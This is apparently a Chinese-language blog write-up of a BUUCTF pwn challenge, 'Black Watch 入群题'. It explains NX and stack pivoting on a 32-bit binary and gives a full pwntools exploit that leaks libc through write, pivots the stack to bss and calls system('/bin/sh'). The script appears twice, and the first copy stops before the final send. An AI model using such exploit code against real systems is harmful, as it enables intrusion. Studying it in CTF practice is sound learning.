Black Watch 入群题

文章发布时间:

最后更新时间:

文章总字数:
829

预计阅读时间:
4 分钟

做的时候发现忘记了好多知识点 复现一下 不然本来这题的知识点以前的博客都有讲到

1
2
3
4
5
6
[*] '/home/chen/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

没开金丝雀和pie 32位 ida看看

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF

v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}

关键函数 给了两次溢出的机会 第二次只能溢出两个字长 看到这里就应该反应过来是栈迁移

第一个read写入的地址是bss段

这里我一开始想的是写入shellcode 打不通后仔细想了想 重新学习了NX保护

NX保护简单理解就是使内存页的数据不可执行

那为什么我们可以构造rop链呢 因为rop链的执行流控制是利用栈帧的ret指令来实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import*

def libcmath(function_addr,function_name):
libc_addr = function_addr - libc.sym[function_name]
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
return system_addr,binsh_addr

def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr):
payload = cyclic(offset)
payload += p64(gadget2_addr)
payload += cyclic(0x8)
payload += p64(0)
payload += p64(1)
payload += p64(call_addr)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(gadget1_addr)
payload += cyclic(56)
payload += p64(ret_addr)
return payload

def localconnect(filename):
io = process(filename)
return io

def remoteconnect(ip,port):
io = remote(ip,port)
return io

def elf_libc(filename,libc_name):
elf = ELF(filename)
libc = ELF(libc_name)
return elf,libc

def debug(button):
if(button==1):
context.log_level = "debug"

filename = 'pwn'
libc_name = 'buu_libc_ubuntu16_32'
ip="node4.buuoj.cn"
port=27820
elf,libc = elf_libc(filename,libc_name)


io = remoteconnect(ip,port)
debug(1)
io.recvuntil("What is your name?")
puts_plt = 0x8048350
write_plt = 0x8048380
write_got = elf.got['write']
main_addr = elf.sym['main']
puts_got = elf.got['puts']
payload = p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.send(payload)
io.recvuntil("What do you want to say?")
bss_addr = 0x804A300
leave_addr = 0x08048408
payload = cyclic(0x18)+p32(bss_addr-4)+p32(leave_addr)
io.send(payload)
write_addr = u32(io.recv())
system_addr,binsh_addr = libcmath(write_addr,'write')
io.recvuntil("What is your name?")
payload = p32(system_addr)+p32(0)+p32(binsh_addr)
io.send(payload)

说一下思路吧 第一个read构造write泄露基址 然后要返回main函数 进行下一次的system系统调用

然后栈迁移到对应的地址-4 这里的-4前面的专门讲解栈迁移的篇幅有提到

接下来就是构造system的链 然后执行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*

def libcmath(function_addr,function_name):
libc_addr = function_addr - libc.sym[function_name]
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
return system_addr,binsh_addr

def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr):
payload = cyclic(offset)
payload += p64(gadget2_addr)
payload += cyclic(0x8)
payload += p64(0)
payload += p64(1)
payload += p64(call_addr)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(gadget1_addr)
payload += cyclic(56)
payload += p64(ret_addr)
return payload

def localconnect(filename):
io = process(filename)
return io

def remoteconnect(ip,port):
io = remote(ip,port)
return io

def elf_libc(filename,libc_name):
elf = ELF(filename)
libc = ELF(libc_name)
return elf,libc

def debug(button):
if(button==1):
context.log_level = "debug"

filename = 'pwn'
libc_name = 'buu_libc_ubuntu16_32'
ip="node4.buuoj.cn"
port=27820
elf,libc = elf_libc(filename,libc_name)


io = remoteconnect(ip,port)
debug(1)
io.recvuntil("What is your name?")
puts_plt = 0x8048350
write_plt = 0x8048380
write_got = elf.got['write']
main_addr = elf.sym['main']
puts_got = elf.got['puts']
payload = p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.send(payload)
io.recvuntil("What do you want to say?")
bss_addr = 0x804A300
leave_addr = 0x08048408
payload = cyclic(0x18)+p32(bss_addr-4)+p32(leave_addr)
io.send(payload)
write_addr = u32(io.recv())
system_addr,binsh_addr = libcmath(write_addr,'write')
io.recvuntil("What is your name?")
payload = p32(system_addr)+p32(0)+p32(binsh_addr)
io.send(payload)
io.recvuntil("What do you want to say?")
payload = cyclic(0x18)+p32(bss_addr-4)+p32(leave_addr)
io.send(payload)
io.interactive()